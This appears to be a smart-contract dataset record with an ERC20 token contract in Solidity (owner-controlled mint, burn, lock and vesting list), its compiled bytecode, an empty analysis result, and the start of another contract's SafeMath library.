require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address _owner) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Simple ERC20 Token example, with mintable token creation only during the deployement of the token contract */
contract TokenContract is Ownable{
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
address public tokenOwner;
address private ico;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
mapping(address => bool) public vestedlist;
event SetICO(address indexed _ico);
event Mint(address indexed to, uint256 amount);
event MintFinished();
event UnlockToken();
event LockToken();
event Burn();
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
event addedToVestedlist(address indexed _vestedAddress);
event removedFromVestedlist(address indexed _vestedAddress);
bool public mintingFinished = false;
bool public locked = true;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier canTransfer() {
require(!locked || msg.sender == owner || msg.sender == ico);
_;
}
modifier onlyAuthorized() {
require(msg.sender == owner || msg.sender == ico);
_;
}
constructor(string memory _name, string memory _symbol, uint8 _decimals) public {
require (_decimals != 0);
name = _name;
symbol = _symbol;
decimals = _decimals;
totalSupply = 300000000000000000;
balances[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) public onlyAuthorized canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(this), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public onlyAuthorized canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public canTransfer returns (bool) {
require(_to != address(0));
require (!isVestedlisted(msg.sender));
require(_value <= balances[msg.sender]);
require (msg.sender != address(this));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function burn(address _who, uint256 _value) onlyAuthorized public returns (bool){
require(_who != address(0));
totalSupply = totalSupply.sub(_value);
balances[_who] = balances[_who].sub(_value);
emit Burn();
emit Transfer(_who, address(0), _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public canTransfer returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function transferFromERC20Contract(address _to, uint256 _value) public onlyOwner returns (bool) {
require(_to != address(0));
require(_value <= balances[address(this)]);
balances[address(this)] = balances[address(this)].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(address(this), _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function unlockToken() public onlyAuthorized returns (bool) {
locked = false;
emit UnlockToken();
return true;
}
function lockToken() public onlyAuthorized returns (bool) {
locked = true;
emit LockToken();
return true;
}
function setICO(address _icocontract) public onlyOwner returns (bool) {
require(_icocontract != address(0));
ico = _icocontract;
emit SetICO(_icocontract);
return true;
}
/**
* @dev Adds list of addresses to Vestedlist. Not overloaded due to limitations with truffle testing.
* @param _vestedAddress Addresses to be added to the Vestedlist
*/
function addToVestedlist(address[] memory _vestedAddress) public onlyOwner {
for (uint256 i = 0; i < _vestedAddress.length; i++) {
if (vestedlist[_vestedAddress[i]]) continue;
vestedlist[_vestedAddress[i]] = true;
}
}
/**
* @dev Removes single address from Vestedlist.
* @param _vestedAddress Address to be removed to the Vestedlist
*/
function removeFromVestedlist(address[] memory _vestedAddress) public onlyOwner {
for (uint256 i = 0; i < _vestedAddress.length; i++) {
if (!vestedlist[_vestedAddress[i]]) continue;
vestedlist[_vestedAddress[i]] = false;
}
}
function isVestedlisted(address _vestedAddress) internal view returns (bool) {
return (vestedlist[_vestedAddress]);
}
}
|
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c806395d89b41116100de578063b6f50c2911610097578063cf30901211610071578063cf30901214610918578063d73dd62314610938578063dd62ed3e1461099c578063f2fde38b14610a145761018e565b8063b6f50c2914610844578063bca7a9e21461089e578063c33de793146108be5761018e565b806395d89b4114610555578063971f37e8146105d85780639dc29fac14610690578063a3e67610146106f4578063a9059cbb14610728578063b075ea3e1461078c5761018e565b806323b872dd1161014b5780636618846311610125578063661884631461044557806370a08231146104a95780637d64bcb4146105015780638da5cb5b146105215761018e565b806323b872dd1461033c578063313ce567146103c057806340c10f19146103e15761018e565b806305c82a151461019357806305d2035b146101f757806306fdde0314610217578063095ea7b31461029a57806318160ddd146102fe57806318a24b5b1461031c575b600080fd5b6101df600480360360408110156101a957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a58565b60405180821515815260200191505060405180910390f35b6101ff610d3b565b60405180821515815260200191505060405180910390f35b61021f610d4e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561025f578082015181840152602081019050610244565b50505050905090810190601f16801561028c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102e6600480360360408110156102b057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dec565b60405180821515815260200191505060405180910390f35b610306610ede565b6040518082815260200191505060405180910390f35b610324610ee4565b60405180821515815260200191505060405180910390f35b6103a86004803603606081101561035257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fe5565b60405180821515815260200191505060405180910390f35b6103c8611467565b604051808260ff16815260200191505060405180910390f35b61042d600480360360408110156103f757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061147a565b60405180821515815260200191505060405180910390f35b6104916004803603604081101561045b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116b4565b60405180821515815260200191505060405180910390f35b6104eb600480360360208110156104bf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611945565b6040518082815260200191505060405180910390f35b61050961198e565b60405180821515815260200191505060405180910390f35b610529611aa9565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61055d611acd565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561059d578082015181840152602081019050610582565b50505050905090810190601f1680156105ca5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61068e600480360360208110156105ee57600080fd5b810190808035906020019064010000000081111561060b57600080fd5b82018360208201111561061d57600080fd5b8035906020019184602083028401116401000000008311171561063f57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611b6b565b005b6106dc600480360360408110156106a657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611d1f565b60405180821515815260200191505060405180910390f35b6106fc611f58565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6107746004803603604081101561073e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611f7e565b60405180821515815260200191505060405180910390f35b610842600480360360208110156107a257600080fd5b81019080803590602001906401000000008111156107bf57600080fd5b8201836020820111156107d157600080fd5b803590602001918460208302840111640100000000831117156107f357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506122b3565b005b6108866004803603602081101561085a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612466565b60405180821515815260200191505060405180910390f35b6108a66125f1565b60405180821515815260200191505060405180910390f35b610900600480360360208110156108d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506126f2565b60405180821515815260200191505060405180910390f35b610920612712565b60405180821515815260200191505060405180910390f35b6109846004803603604081101561094e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612725565b60405180821515815260200191505060405180910390f35b6109fe600480360360408110156109b257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612921565b6040518082815260200191505060405180910390f35b610a5660048036036020811015610a2a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506129a8565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b1c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4e6f7420617574686f72697a6564206f7065726174696f6e000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b5657600080fd5b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610ba257600080fd5b610bf482600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bc990919063ffffffff16565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c8982600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c5290919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600a60009054906101000a900460ff1681565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610de45780601f10610db957610100808354040283529160200191610de4565b820191906000526020600020905b815481529060010190602001808311610dc757829003601f168201915b505050505081565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610f8e5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610f9757600080fd5b6000600a60016101000a81548160ff0219169083151502179055507f70f18bcde0ec5e70a6b75212912eb91efc54a2c235186a6bf95d4d28b128741660405160405180910390a16001905090565b6000600a60019054906101000a900460ff16158061104e575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806110a65750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6110af57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110e957600080fd5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561113557600080fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156111be57600080fd5b61121082600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bc990919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112a582600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c5290919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061137782600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bc990919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806115245750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61152d57600080fd5b600a60009054906101000a900460ff161561154757600080fd5b61155c82600454612c5290919063ffffffff16565b6004819055506115b482600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c5290919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156117c5576000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611859565b6117d88382612bc990919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611a385750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611a4157600080fd5b600a60009054906101000a900460ff1615611a5b57600080fd5b6001600a60006101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611b635780601f10611b3857610100808354040283529160200191611b63565b820191906000526020600020905b815481529060010190602001808311611b4657829003601f168201915b505050505081565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c2c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4e6f7420617574686f72697a6564206f7065726174696f6e000000000000000081525060200191505060405180910390fd5b60005b8151811015611d1b5760096000838381518110611c4857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611ca257611d0e565b600160096000848481518110611cb457fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8080600101915050611c2f565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611dc95750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611dd257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e0c57600080fd5b611e2182600454612bc990919063ffffffff16565b600481905550611e7982600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bc990919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f396ed0ab6cc27459695a5d29409f1357ff85a6b958ca216959d886d23a89949b60405160405180910390a1600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a60019054906101000a900460ff161580611fe7575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b8061203f5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61204857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561208257600080fd5b61208b33612cda565b1561209557600080fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156120e157600080fd5b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561211a57600080fd5b61216c82600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bc990919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061220182600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c5290919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612374576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4e6f7420617574686f72697a6564206f7065726174696f6e000000000000000081525060200191505060405180910390fd5b60005b8151811015612462576009600083838151811061239057fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166123e957612455565b6000600960008484815181106123fb57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8080600101915050612377565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461252a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4e6f7420617574686f72697a6564206f7065726174696f6e000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561256457600080fd5b81600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff167fb5f88643261aefc17fb9561acc4fc17bd7bee319b08cc7abb04b552339593e1b60405160405180910390a260019050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061269b5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6126a457600080fd5b6001600a60016101000a81548160ff0219169083151502179055507f481e27d43fb74b96540bf6eb1011042665ae9040107d556002cb2796a9a9867560405160405180910390a16001905090565b60096020528060005260406000206000915054906101000a900460ff1681565b600a60019054906101000a900460ff1681565b60006127b682600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c5290919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612a69576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4e6f7420617574686f72697a6564206f7065726174696f6e000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612b0c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f416464726573732073686f756c646e2774206265207a65726f0000000000000081525060200191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115612c41576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b600082840390508091505092915050565b600080828401905083811015612cd0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905091905056fea26469706673582212200690fa884963d795e53915c284a8b3d65969a572aed27ba496bc56dd5119a91064736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 7,998 |
0xe1f02e3a601a164c0b30f9e13961995a209500ed
|
pragma solidity ^0.6.0;
// SPDX-License-Identifier: UNLICENSED
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
